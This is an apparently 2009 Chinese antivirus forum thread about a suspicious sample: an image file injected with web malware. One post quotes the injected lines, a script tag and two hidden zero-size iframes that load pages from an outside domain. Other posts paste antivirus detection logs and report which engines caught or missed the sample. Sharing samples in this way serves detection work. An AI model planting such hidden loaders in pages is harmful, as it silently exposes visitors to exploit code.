非主流文件

显示全部楼层 · 发表于 2009-7-14 16:28:19

红伞扫描出来的，微点混样本区不开影子的后果。。
奇迹的是没有exe后缀的。。
已经 To MP

[ 本帖最后由 angir 于 2009-7-14 16:30 编辑 ]

显示全部楼层 · 发表于 2009-7-14 16:29:54

TO LL

显示全部楼层 · 发表于 2009-7-14 16:32:09

那个GIF文件被加料了

<script src="http://www.mmstore.cn/dk/2.js"></script>
<iframe src="http://www.mmstore.cn/dk/1.htm"width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.mmstore.cn/dk/2.htm"width="0" height="0" frameborder="0"></iframe>

复制代码

显示全部楼层 · 发表于 2009-7-14 18:20:17

卡巴
检测到：木马程序 Exploit.JS.Agent.akg URL: http://bbs.kafan.cn/attachment.p ... ;t=1247566610//logo[1].jpg

显示全部楼层 · 发表于 2009-7-14 19:24:06

2009-7-14 19:25:09 1247570709 SYSTEM 1408 Sign of "HTML:Iframe-gen" has been found in "http://bbs.kafan.cn/attachment.php?aid=580497&k=48b8825e0c3baac0942ce2858465d2a4&t=1247570592\S5$1_2A[%6)5`T[6NE}]_DQ.GIF" file.

显示全部楼层 · 发表于 2009-7-14 19:26:44

显示全部楼层 · 发表于 2009-7-14 19:37:28

mse miss,to

显示全部楼层 · 发表于 2009-7-14 21:29:20

红伞杀！

显示全部楼层 · 发表于 2009-7-14 21:58:37

Virus: HTML:Iframe-gen, JS:MalHead-U [Trj] (Engine B)

Virus found while downloading Web content.

Address: bbs.kafan.cn

显示全部楼层 · 发表于 2009-7-14 22:55:17

2009/7/14 22:51:56 已清除木马程序 Exploit.JS.Agent.akg G:\Temp\Virus\桌面.rar/logo[1].jpg

Miss 2,To KL

[可疑文件] 非主流文件

本帖子中包含更多资源

本帖子中包含更多资源